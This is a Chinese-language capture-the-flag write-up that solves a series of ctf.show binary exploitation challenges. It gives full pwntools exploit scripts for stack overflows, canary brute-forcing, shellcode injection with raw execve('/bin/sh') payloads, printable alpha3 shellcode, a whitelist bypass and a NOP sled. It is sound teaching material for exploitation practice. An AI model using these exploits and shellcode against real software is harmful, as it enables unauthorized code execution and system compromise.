 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28261)
elf = ELF('./pwn')

flag = elf.sym['flag']
payload = cyclic(0x6c+4) + p32(flag) + p32(0) + p32(0x36C) + p32(0x36D)
io.sendline(payload)
io.recv()
io.interactive()

类canary爆破

PWN_053

题目:再多一眼看一眼就会爆炸; PWN_053

checksec看信息….没开canary、PIE,有NX

跟进flag函数:

flag函数

函数的执行流程如下: 定义一个 64 字节的字符数组s和一个文件指针stream。尝试打开路径为/ctfshow_flag的文件用于读取。

如果文件打开失败(stream为 NULL),则输出错误信息并退出程序;如果文件打开成功,使用fgets从文件中读取最多 64 个字符到数组s中,通过puts(s)输出读取到的内容(会自动在末尾添加换行符),调用fflush(stdout)刷新标准输出缓冲区,并将其返回值作为函数的返回值。

这段代码的逻辑比上一个版本更直接,不需要特定参数即可输出 flag 内容,只要成功打开文件就会直接打印文件中的内容。fflush(stdout)的作用是确保内容立即输出到终端,而不会停留在缓冲区中。也就是说只要执行到flag函数就直接给flag字符串。

在函数目录上看到了canary函数,这还是第一次见到手动放置的canary:

canary函数

这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓冲区 buf 中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。

跟进ctfshow函数:

ctfshow函数

解释下这段函数,也就是说开局我给程序输入一个1000,它就在后续给我设置1000容量大小的缓冲区:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 1. 先通过 printf 提示用户输入字节数
printf("How many bytes do you want to write to the buffer?\n>");

// 2. 读取用户输入的字符串(如 "1000")并转换为整数 nbytes
while (v5 <= 31) {
  read(0, &v2[v5], 1u);  // 读取用户输入的长度字符串(如 "1000")
  if (v2[v5] == 10) break;
  ++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes);  // 将字符串转换为整数 nbytes(如 1000)

// 3. 关键指令:按照 nbytes 读取数据到缓冲区 buf
printf("$ ");
read(0, buf, nbytes);  // 这里的 nbytes 就是用户输入的字节数,实际执行读取操作

那输入1000,程序在后续就让我能输入1000字节的东西。

看main函数:

main函数

可以看到先经过canary的栈溢出检查,如果发现栈溢出立刻终止程序进行,那就得绕过这个canary保护了。

手动放置的canary函数中的canary.txt的值是不变的,况且是4字节大小的值,也就是说我们编一个循环四次,从0~255范围找字节的双重循环就可以爆破出canary值,从而绕过memcmp的检查,实现栈溢出返回flag函数地址去执行flag函数获得flag字符串。

python2 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import time

PWN1 = ""

for i in range(4):
    for k in range(256):
        io = remote("pwn.challenge.ctf.show", 28226)
        io.recvuntil("How many bytes do you want to write to the buffer?\n>")
        io.sendline("1000")
        payload = cyclic(0x20) + PWN1 + chr(k)
        io.recvuntil("$ ") 
        io.send(payload)
        data = io.recv()
        print("data:" + data)
        if "Where is the flag?" in data:
            PWN1 += chr(k)
            print("success!!")
            print(PWN1)
            break
        else:
            print("NO!!")
            io.close()
            time.sleep(0.1)
            
            
print('Canary------------->:' + PWN1)

io = remote("pwn.challenge.ctf.show", 28226)
flag_address = 0x8048696
payload = cyclic(0x20) + PWN1 + cyclic(0x10) + p32(flag_address)
io.recvuntil("How many bytes do you want to write to the buffer?\n>")
io.sendline("1000")
io.recvuntil("$ ")
io.send(payload)
io.interactive()

这里定义了一个PWN1,起初为空值,只要每爆破出一位正确字节的canary值,就会通过PWN1 += chr(k)被储存进PWN1内,chr(k) 将这个整数转换为对应的字符(字节),用于拼接测试 payload,爆破 canary 的每一个字节。

发送 payload 的方式(sendline vs send)是关键差异

之前的题目好像对发送payload的函数并不严格要求,但在这题就必须要求严格了,要用send函数,如果是sendline的话,会在payload后面多加一个换行符\n,因附加换行符破坏栈布局。也会导致一直循环爆破却最终爆破失败。

PWN_054

题目:再近一点靠近点快被融化; PWN_054

IDA32:

跟进flag函数:

flag函数

分析main函数:

main函数

只要密码正确,输出欢迎信息 “Welcome! Here’s what you want:",然后main就会调用flag函数直接获取flag字符串;但密码不正确就会输出”You has been banned!“的提示。

我们查看重要参数在堆栈中的位置:

s1的位置

s的位置

v5的位置

从v5和s的位置来看,它俩所处的栈位置距离比较近欸!0x160 - 0x60 = 0x100。

main函数的数组

这里的v5数组的容量刚好0x100可以填满,这不是巧合,突破点就在这的。当你用0x100填满v5后,正好把puts的终止符**\x00**给破坏了,这就会导致puts继续执行,直接把s一起输出了。

怎么判断终止符 \x00 存储在数组内部?

看 “数组容量” 与 “字符串最大长度” 的关系:若数组容量 > 字符串最大长度,终止符必在数组内部:

v5 数组容量为 256 字节(0x100),而读取用户名的 fgets(v5, 256, stdin) 最多读取 255 字节(留 1 字节自动补 \x00

判断 \x00 是否存储在数组内部,可按优先级依次验证:

  1. 优先看 数组容量与字符串最大长度的关系(最直接,如 数组容量 > 最大读取长度);
  2. 再看 字符串的生成 / 处理函数(如 fgets 自动补 \x00strchr 替换生成 \x00);
  3. 最后看 后续字符串操作是否正常(反向验证 \x00 位置合法)。 三者均指向 \x00 在数组内部时,即可确定该结论。

exp1,得出密码:

1
2
3
4
5
6
7
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28246)
payload = cyclic(0x100)
io.sendline(payload)
io.recv()
io.interactive()

整串复制,不要只复制h3r3!!

PWN_055

题目:你是我的谁,我的我是你的谁; PWN_055

IDA,跟进main函数:

main函数

跟进flag函数:

flag函数

要想flag字符串被打印出来,就要满足第一个条件:flag1 && flag2 && a1 == 0xBDBDBDBD

flag1、flag2须为真值,而a1要等于0xBDBDBDBD就行。

分别跟进flag_func1、flag_func2函数:

flag_func1函数

flag_func2函数

大致思路就是:先调用flag_func1函数,使flag1等于1,再调用flag_func2函数,满足函数条件将flag2赋值为1,最后再调用flag函数,给参数,最终打印flag字符串,exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28207)
flag_func1 = elf.sym['flag_func1']
flag_func2 = elf.sym['flag_func2']
flag = elf.sym['flag']
payload = cyclic(0x2c+4) + p32(flag_func1) + p32(flag_func2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)
io.recvuntil("Input your flag: ")
io.sendline(payload)
io.recv()
io.interactive()
1
payload = cyclic(0x2c+4) + p32(flag_func1) + p32(flag_func2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)

这里你想必把有点懵,为什么要先flag再到参数,不是应该先执行完函数、传完参再到另外一个函数吗?感觉很乱啊….

32 位程序调用函数时,遵循两个关键规则(这是理解 payload 的前提):

  1. 参数压栈顺序:函数的参数要按 “从右到左” 的顺序,依次放到栈上;
  2. 返回地址跟着参数:参数压完后,要压入 “函数执行完后要跳转到的地址”(即下一个函数的地址),最后才是 “当前要调用的函数地址”。

现在这些题目需要我们对代码具有一定阅读理解能力,理解代码的运作原理,而不再像新手入门那样无脑套ret2shellcode、ret2libc、脚本了。

认识32位和64位的shellcode

PWN_056

题目:先了解一下简单的32位shellcode吧。 PWN_056

IDA32分析:

start函数

这里就是送分的了,把/bin/sh赋值给v1,然后调用execve函数(类似system函数)去执行,这不就是直接终端交互吗?

exp:

1
2
3
4
5
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28189)
io.interactive()

现在来看汇编语言:

1
2
3
4
5
6
7
8
9
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 0xB
pop eax
int 0x80

这段代码是x86汇编语言的代码,用于在Linux系统上执行一个系统调用来执行execve("/bin/sh", NULL, NULL) 。让我们逐行解析代码的功能:

1
push 0x68

这行代码将十六进制值 0x68 (104的十进制表示)压入栈中。这是为了将后续的字符串 “/bin/sh"的长度(11个字符)放入栈中,以便后续使用。

1
push 0x732f2f2f

这行代码将十六进制值 0x732f2f2f 压入栈中。这是字符串 “/bin/sh” 的前半部分字符的逆序表示,即 “sh//"。这是因为x86架构是小端字节序的,字符串需要以逆序方式存储在内存中。(但其实2f2f可以换成0000,补空位,那就是0x732f0000:sh,不要//都可以的)

1
push 0x6e69622f

这行代码将十六进制值 0x6e69622f 压入栈中。这是字符串 “/bin/sh” 的后半部分字符的逆序表示,即 “/bin”。

1
mov ebx, esp

这行代码将栈顶的地址(即字符串 “/bin/sh” 的起始地址)复制给寄存器 ebx 。 ebx 寄存器将用作execve 系统调用的第一个参数,即要执行的可执行文件的路径。

1
2
xor ecx, ecx
xor edx, edx

这两行代码使用异或操作将 ecx 和 edx 寄存器的值设置为零。 ecx 和 edx 分别将用作 execve系统调用的第二个和第三个参数,即命令行参数和环境变量。在此情况下,我们将它们设置为 NULL,表示没有命令行参数和环境变量。(这不就是手敲shellcode的那段代码吗?在一开始的wp:PWN_024)过这么久了忘得差不多了,在这里回忆一下啊。

1
2
push 0xB
pop eax

这两行代码将值 11 ( 0xb )压入栈中,然后从栈中弹出到寄存器 eax 。 eax 寄存器将用作系统调用号, 11 表示 execve 系统调用的系统调用号。

1
int 0x80

这行代码触发中断 0x80 ,这是Linux系统中用于执行系统调用的中断指令。通过设置适当的寄存器值( eax 、 ebx 、 ecx 、 edx ), int 0x80 指令将执行 execve("/bin/sh”, NULL, NULL) 系统调用,从而启动一个新的 shell 进程。

总结起来,这段汇编代码的功能是利用系统调用在Linux系统上执行 execve("/bin/sh”, NULL,NULL) ,即打开一个新的shell进程。

PWN_057

题目:先了解一下简单的64位shellcode吧。 PWN_057

IDA64:

start函数

内联汇编 syscall; LINUX - 的作用

  • syscall:是 x86-64 架构下的汇编指令,用于触发 Linux 系统调用(调用操作系统内核提供的功能,如进程退出、文件操作等)。
  • LINUX - 可能是简化或注释残留,实际有效的指令只有 syscall。系统调用的具体功能由 rax 寄存器的值决定(例如 rax=60 表示 exit 系统调用,用于终止当前进程)。

总的来说这俩题是让我们认识shellcode的样子,以便后面使用…

exp同上。

重点还是看汇编:

1
2
3
4
5
6
7
8
9
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall

这段代码是x86-64汇编语言的代码,用于在Linux系统上执行 execve("/bin/sh", NULL,NULL) 。让我们逐行解析代码的功能:

1
push rax

这行代码将 rax 寄存器的值(通常用于存放函数返回值)压入栈中。这里的目的是保留 rax 的值,以便后续使用。

1
2
xor rdx, rdx
xor rsi, rsi

这两行代码使用异或操作将 rdx 和 rsi 寄存器的值设置为零。 rdx 和 rsi 分别将用作 execve系统调用的第三个和第二个参数,即环境变量和命令行参数。在此情况下,我们将它们设置为 NULL,表示没有环境变量和命令行参数。

1
mov rbx, '/bin//sh'

这行代码将字符串 ‘/bin//sh’ 的地址赋值给 rbx 寄存器。字符串 ‘/bin//sh’ 是我们要执行的可执行文件的路径。在x86-64汇编中,字符串被当作地址处理。

1
push rbx

这行代码将 rbx 寄存器的值(字符串 ‘/bin//sh’ 的地址)压入栈中。这是为了将可执行文件路径传递给 execve系统调用的第一个参数。

1
2
push rsp
pop rdi

这两行代码将栈顶的地址(即字符串 ‘/bin//sh’ 的地址)弹出到 rdi 寄存器。 rdi 寄存器将用作execve 系统调用的第一个参数,即可执行文件路径。

1
mov al, 59

这行代码将 al 寄存器设置为值 59 , 59 是 execve 系统调用的系统调用号。

1
syscall

这行代码触发系统调用。通过设置适当的寄存器值( rax rdi rsirdx), syscall 指令将执行 execve("/bin/sh", NULL, NULL) 系统调用,从而启动一个新的 shell 进程。

总结起来,这段汇编代码的功能是利用系统调用在Linux系统上执行 execve("/bin/sh”, NULL,NULL) ,即打开一个新的shell进程。与前一个示例相比,这段代码是x86-64架构下的汇编代码,使用通用寄存器进行操作。

pwn_058

题目:32位 无限制。 PWN_058

32位仅部分开启RELRO,其他保护全关,并且有可读,可写,可执行段。可以用shellcode。

看不到源码,那就只能看汇编代码:

NASM

大致就是:会调用puts函数

看text段:

这里看到调用gets函数了,参数对应的是 [ebp+s] 的地址,也就是在返回地址上一栈内存单元处,接着往下就是调用puts函数了:

紧接着就是ctfshow函数:

从这可看出,gets函数读入存进[ebp+s]这块的内存,到puts、ctfshow主函数都会读取其中内容调用,那我们往这块注入shellcode不就好了吗?

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28118)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()

当然shellcode这部分你可以选择手敲汇编代码进去,这里用了shellcraft模块。

PWN_059

题目:64位 无限制。 PWN_059

分析流程同上,需要注意的是在生成shellcode的时候需要注明架构为64位:

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28204)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
#recv()
io.interactive()

PWN_060

题目:入门难度shellcode。 PWN_060

IDA32分析:

main函数

发现gets函数。

使用strncpy函数将对应的字符串复制到 buf2 处。跟进查看:

bss段

可以看到buf2在bss段,地址:0x804A080

用gdb调试查看bss是否有执行权限:

1
2
3
4
gdb pwn
run
break main
vmmap

buf2所在的bss内存段确实有rwx权限,那我们直接注入shellcode到buf2运行就可以。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28171)
buf2_address = 0x804A080
shellcode = asm(shellcraft.sh())
lenth = len(shellcode)
payload = shellcode + cyclic(112-lenth) + p32(buf2_address)
io.sendline(payload)
io.interactive()

你会看到为什么是112?不应该是104吗?100字节+ebp本身的4字节,还有8字节哪来的?记住以下规则:

“多填充 8 字节” 并非随意设置,而是由程序实际栈帧结构决定的—— 可能是编译器的栈对齐策略,也可能是隐式局部变量占用空间,最终通过调试确认 “只有填充至 112 字节才能覆盖返回地址”。这也符合 PWN 题的通用原则:栈溢出的填充长度需以 “实际调试 / 逆向结果” 为准,而非仅依赖理论计算的 “缓冲区大小 + 旧 EBP”。

不过在新版本的Ubuntu虚拟机中就可能会误导你:

在Ubuntu24.04的gdb调试情况

灵活掌控shellcode长度

PWN_061

题目:输出了什么? PWN_061

checksec查看保护信息:没栈溢出保护、没开NX,可以尝试注入shellcode:

IDA64:

main函数

欸我们分析这个main函数看到v5地址在每次程序运行都会打印出来,但因为是有PIE保护,所以每次地址都会随机化,所以在构造exp时需要接收这个v5地址。

gets函数会读取v5参数然后存入内存段中。

可以看到会打印出v5地址:

exp大致思路是先覆盖缓冲区,然后跳转到v5地址,注入shellcode,但要注意:

leave指令

这里执行了leave指令,

等价于两条汇编指令的组合:

  1. mov rsp, rbp:将栈指针 rsp(栈顶指针)指向栈底指针 rbp,此时 rsp 从 “v5 起始地址” 跳转到 “rbp 所在地址”,直接跳过 v5 占用的栈空间;
  2. pop rbp:将栈中 rbp 地址处存储的 “旧 RBP 值” 弹出到 rbp 寄存器,同时 rsp 自动增加 8 字节(64 位系统栈操作以 8 字节对齐)。

v5[0]、v5[1]、旧rbp,再加上预留给shellcode的返回地址的8字节长度,总共32字节,这32字节不能使用。等放到32之后shellcode的内容才能正被执行。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28132)
io.recvuntil('[')
v5 = io.recvuntil(']', drop = True) 
v5 = int(v5, 16)
shellcode = asm(shellcraft.sh())
payload = cyclic(0x10+8) + p64(v5+32) + shellcode
io.sendline(payload)
io.recv()
io.interactive()

在这里解释下:

1
2
3
io.recvuntil('[')
v5 = io.recvuntil(']', drop = True) 
v5 = int(v5, 16)

输入流中首先接收数据直到遇到 ‘[’ 字符为止。接下来再次从输入流中接收数据,直到遇到 ‘]’ 字符为止,将其保存在变量 v5 中。最后,将变量 v5 解析为一个十六进制的整数,并将其存储回变量 v5 中。

p64(v5+32),将 “v5 地址 + 32 字节” 这个目标地址,打包为 64 位小端序二进制数据,用于覆盖程序的返回地址,最终让程序跳转到该目标地址执行 shellcode

若 v5 是字符串(如'7ffefd78ff20'),Python 无法对字符串进行加法运算,这就是为什么需要v5 = int(v5, 16)的原因。

PWN_062

题目:短了一点。 PWN_062

checksec一下:

IDA64分析:

main函数

和上题差不多,但这里换成read函数了,read(0, buf, 56uLL)意思是读取56长度的数据到buf中。

在text字段查看read函数附近的汇编指令:

leave指令可以看到这里和上题一样调用完read函数后会执行leave汇编指令。

运行程序依旧一样,有PIE保护情况下,buf地址动态变化。

但这里有个问题是,read只读取56位长度字符,56本身减去shellcode地址长度8字节、buf的16字节长度(buf[0]、buf[1]各占8字节长度)以及ebp本身8字节,共32,即56-32=24,那就是说只留给24位长度给到shellcode的内容长度限制,pwntools的shellcraft模块的shellcode长度(29字节)超过了24。因此需要另寻shellcode,这里我推荐一个shellcode,刚好24字节长度https://www.exploit-db.com/shellcodes/43550。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
global _start
section .text
_start:
 push 59
 pop rax
 cdq
 push rdx
 mov rbx,0x68732f6e69622f2f
 push rbx
 push rsp
 pop rdi
 push rdx
 push rdi
 push rsp
 pop rsi
 syscall       
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
   printf("len:%d bytes\n", strlen(code));
   (*(void(*)()) code)();
   return 0;
}          

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28310)
io.recvuntil('[')
buf_addr = io.recvuntil(']', drop = True) 
buf_address = int(buf_addr, 16)
shellcode_x64 = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
#https://www.exploit-db.com/shellcodes/43550
payload = cyclic(0x10+8) + p64(buf_address+32) + shellcode_x64
io.sendline(payload)
io.recv()
io.interactive()

PWN_063

题目:又短了一点。 PWN_063

checksec,不多说:

IDA64:

main函数

这次更狠了,read只读取55长度了…

还是这个网站,找一个23字节的shellcode😄。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28183)
io.recvuntil('[')
buf_addr = io.recvuntil(']', drop = True) 
buf_address = int(buf_addr, 16)
shellcode_x64 = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#https://www.exploit-db.com/exploits/36858
payload = cyclic(0x10+8) + p64(buf_address+32) + shellcode_x64
io.sendline(payload)
io.recv()
io.interactive()

建议可以把一些长度较短的shellcode保存到桌面,下次遇到断网的线下赛就可以直接套用了。

PWN_064

题目:有时候开启某种保护并不代表这条路不通。 PWN_064

checksec:

IDA32分析:

main函数

看到一个新函数mmap,mmap(memory map)是 Linux 系统调用,主要功能是将文件或设备映射到进程的虚拟内存空间,但在 PWN 漏洞利用中,更常用其 “匿名映射” 功能,参数通过寄存器传递(rdi, rsi, rdx, r10, r8, r9

1
2
3
4
5
// attributes: thunk
void *mmap(void *address, size_t len, int prot, int flags, int fd, __off_t offset)
{
  return mmap(address, len, prot, flags, fd, offset);
}
  1. address(rdi 寄存器)

期望的内存起始地址,通常设为0(让系统自动分配)。

  1. length(rsi 寄存器)

分配的内存大小(字节),需根据 shellcode 长度设置(如文档中设为0x1000,即 4KB,足够存放 ORW shellcode)。

  1. prot(rdx 寄存器)

内存保护属性,PWN 中常用PROT_READ | PROT_WRITE | PROT_EXEC(对应值0x7),表示内存可读、可写、可执行。

  1. flags(r10 寄存器)

映射类型标志,漏洞利用中常用MAP_ANONYMOUS | MAP_PRIVATE(对应值0x22):

  • MAP_ANONYMOUS:匿名映射,不关联文件;
  • MAP_PRIVATE:私有映射,修改不影响其他进程。
  1. fd(r8 寄存器)

文件描述符,匿名映射时设为-1(或0,不影响)。

  1. offset(r9 寄存器)

文件偏移量,匿名映射时设为0

这行代码使用 mmap 函数分配一块内存区域,将其起始地址保存在变量 buf 中。 mmap 函数通常用于在内存中分配一块连续的地址空间,并指定相应的权限和属性。

这里buf用mmap映射了地址,可读可写可执行,直接传入shellcode,((void (*)(void))buf)()。调用了buf,运行shellcode 即可获取shell。

那我们完全可以用pwntools的shellcraft模块下的shellcode(29字节长度)

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28163)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()

PWN_065

题目:你是一个好人。 PWN_065

checksec:

居然开了RELRO完全保护。

运行下看看:

可以发现这里要我们输入一个符合要求的字符串才行。

IDA64看不了源码,只能看汇编代码:

在这里我们看到我们输入的字符经read函数读取然后通过jg比较是var_8否大于零,符合要求就跳转到loc_11AC

cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低8位大致就是将我们输入的字符串每一位进行比较,如果不在0x60~0x7A这个范围就跳转剩下几个就是跳转的范围。

意思可能就是从第一个字符开始一直做循环判断,如果每一个字符都在一定区间,结束最后一个字符判断时就能够绕过上面的 loc_11B8 来执行 shellcode 了。

字符范围确定

1.第一组范围标识:允许 0x60~0x7A(对应 ASCII ‘`’~‘z’)

对应代码段(loc_11B8loc_1236):

1
2
3
4
.text:00000000000011C5                 cmp     al, 60h ; '`'  // 边界1:0x60
.text:00000000000011C7                 jle     short loc_11DA  // 字符≤0x60  进入下一轮校验
.text:00000000000011D6                 cmp     al, 7Ah ; 'z'  // 边界2:0x7A
.text:00000000000011D8                 jle     short loc_1236  // 字符≤0x7A  通过校验

2.第二组范围标识:允许 0x40~0x5A(对应 ASCII ‘@’~‘Z’)

对应代码段(loc_11DAloc_1236):

1
2
3
4
.text:00000000000011E7                 cmp     al, 40h ; '@'  // 边界1:0x40
.text:00000000000011E9                 jle     short loc_11FC  // 字符≤0x40  进入下一轮校验
.text:00000000000011F8                 cmp     al, 5Ah ; 'Z'  // 边界2:0x5A
.text:00000000000011FA                 jle     short loc_1236  // 字符≤0x5A  通过校验

3.第三组范围标识:允许 0x2F~0x3F(对应 ASCII ‘/’~’?’)

对应代码段(loc_11FCloc_1236):

1
2
3
4
.text:0000000000001209                 cmp     al, 2Fh ; '/'  // 边界1:0x2F
.text:000000000000120B                 jle     short loc_121E  // 字符≤0x2F  错误(退出)
.text:000000000000121A                 cmp     al, 5Ah ; 'Z'  // 边界2:0x5A
.text:000000000000121C                 jle     short loc_1236  // 字符≤0x5A  通过校验

综上:这段汇编通过 cmp al, 60hcmp al, 7Ahcmp al, 40hcmp al, 5Ahcmp al, 2Fh 这 5 处cmp指令,明确标识了输入字符的允许范围(0x2F~0x5A0x60~0x7A)。其实就是要我们输入的字符都是可打印字符,shellcode 有些是不可打印字符,这个叫string.printable,就是可见字shellcode。这里使用alpha3就可以生成了:

1
git clone https://github.com/TaQini/alpha3.git

刚好pwntools的shellcode是有不可打印的字符:

1
2
3
from pwn import *
shellcode = asm(shellcraft.sh())
print(shellcode)

jhh///sh/bin\x89�h\x814$ri1�Qj\x04�Q��1�j\x0b̀

shellcode有乱码

将shellcode重定向到一个文件中 切换到alpha3目录中,使用alpha3生成string.printable:

1
2
3
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件" > 输出
文件

把输出的shellcode可见字符串粘贴到exp上的变量。

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28125)
io.recvuntil("Shellcode")
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

PWN_066

题目:简单的shellcode?不对劲,十分得有十二分的不对劲。 PWN_066

checksec、IDA64分析:

main函数

看到了熟悉的mmap函数;buf存在溢出点,往buf里写入shellcode,然后程序会执行shellcod但是有一个check函数,跟进查看:

check函数的作用是:验证输入字符串a1中的每个字符是否都属于unk_400F20指向的允许字符集。

继续跟进unk_400F20:

unk_400F20

shift + e

我们输入的shellcode的每一位字符要在unk_400F20中,检查的时候*j==0会退出,可以使用\x00来突破程序队shellcode的字符白名单校验;而常规的shellcraft.sh()生成的 shellcode 包含大量白名单外字符(如\x3b\x0f等),无法直接通过校验,因此必须绕过。

如何绕过从check函数下手:

突破点

看到这里你会发现while里面是一个a1参数,如果我让a1 == 0,while的循环条件不成立,直接退出循环。

所以exp:

1
2
3
4
5
6
7
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28280)
shellcode = '\x00\xc0' + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

\x00\xc0是 **“截断校验 + 合法执行” 的双重工具 **:\x00负责突破check函数的逐字节白名单限制,\xc0负责确保指令合法以避免执行错误,二者组合是该题目绕过字符合法性校验、成功执行 shellcode 的核心关键。

nop sled空操作雪橇

“nop”(No Operation 的缩写):是一条汇编指令,在 32 位 x86 架构下,其机器码为0x90。nop 指令执行时,CPU 不进行实际的运算或数据处理操作,仅将程序计数器(如 32 位架构下的 EIP 寄存器)的值增加 1,指向下一条指令,起到占位和使程序流程顺序执行的作用。

“sled”(雪橇):形象地描述了攻击原理。通过在 shellcode 前面填充大量的 nop 指令,形成一个 “指令雪橇”。当程序的执行流被劫持到这个 “雪橇” 区域内的任意位置时,就像雪橇从高处滑下一样,程序会顺着一个个 nop 指令依次执行,最终到达并执行位于 “雪橇” 后方的 shellcode。这一过程可类比为在不确定 shellcode 确切起始地址的情况下,扩大可命中的范围,只要返回地址能落入 nop 指令组成的区域,就能保证 shellcode 被执行。

PWN_067*(待定)

题目:32bit nop sled; PWN_067

checksec:

有栈溢出保护

这次只有栈溢出保护了。

IDA32分析:

这个v5地址被打印输出,但一直是动态变化的。

代码的大概意思是先输出一些信息,然后输出的会有栈中的地址,从query_position函数可以发现函数返回值是v1的地址加上v2的值,而v1是局部变量,那么它的地址就是栈里的地址,加上v2就代表接收函数返回值的变量position=v1的地址+v2的值(即&v1+v2)。然后程序会让我们输入大小为4096的字符串给seed变量,之后再让我们输入一个地址,将其赋给v5,然后使用v5从我们输入的这个地址执行这个地址的代码。

因此我们可以从堆栈中执行。向程序提供 shellcode 很容易,因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode。

刚好有个 fgets 可以读取 shellcode 到 seed,但是我们并不知道 seed 的地址。

跟进query_position函数:

query_position函数

char *query_position() 作用是生成一个基于随机偏移的栈地址,得到一个范围在-668到 668之间的随机整数,并将其存储在变量 v2 中。该地址后续用于构造 “nop 雪橇” 攻击以绕过栈地址随机性。

看到这里就有点印象了,这不就是类似ASLR(Address Space Layout Randomization)保护吗?

我们这里需要了解一下 nop sled 空操作雪橇:

攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令(无操作,仅使程序计数器加一)序列,只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址(可通过缓冲区溢出的方式改写函数返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码位置(有依据的猜) 。

不用 nop sled , 函数返回地址 ——-> 攻击代码。

使用 nop sled , 函数返回地址 ——-> nop 序列(顺序执行) 直到攻击代码地址。

为了安全地“绕过”不知道缓冲区的确切开始位置,我们可以:

1、将 shellcode 填充为以 1336 nop 条指令开头 ( 0x90 )。

2、使用 的返回值 query_position ,添加 0x2d (如前所述),然后添加 668

python3运行的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
context.arch = "i386"
context.log_level = "debug"
io = remote('pwn.challenge.ctf.show',28120)
io.recvuntil("current location: ")
addr = eval(io.recvuntil("\n",drop=True))
print(hex(addr))
payload = b'\x90' * 1336 + asm(shellcraft.sh())
io.recvuntil("> ")
io.sendline(payload)
# 输进v5的地址
shell_addr = addr + 0x2d + 668
io.recvuntil("> ")
io.sendline(hex(shell_addr))
io.interactive()

在这里特别解释一下:

1
shell_addr = addr + 0x2d + 668

addrquery_position() 返回的栈地址参考(v1 的地址);

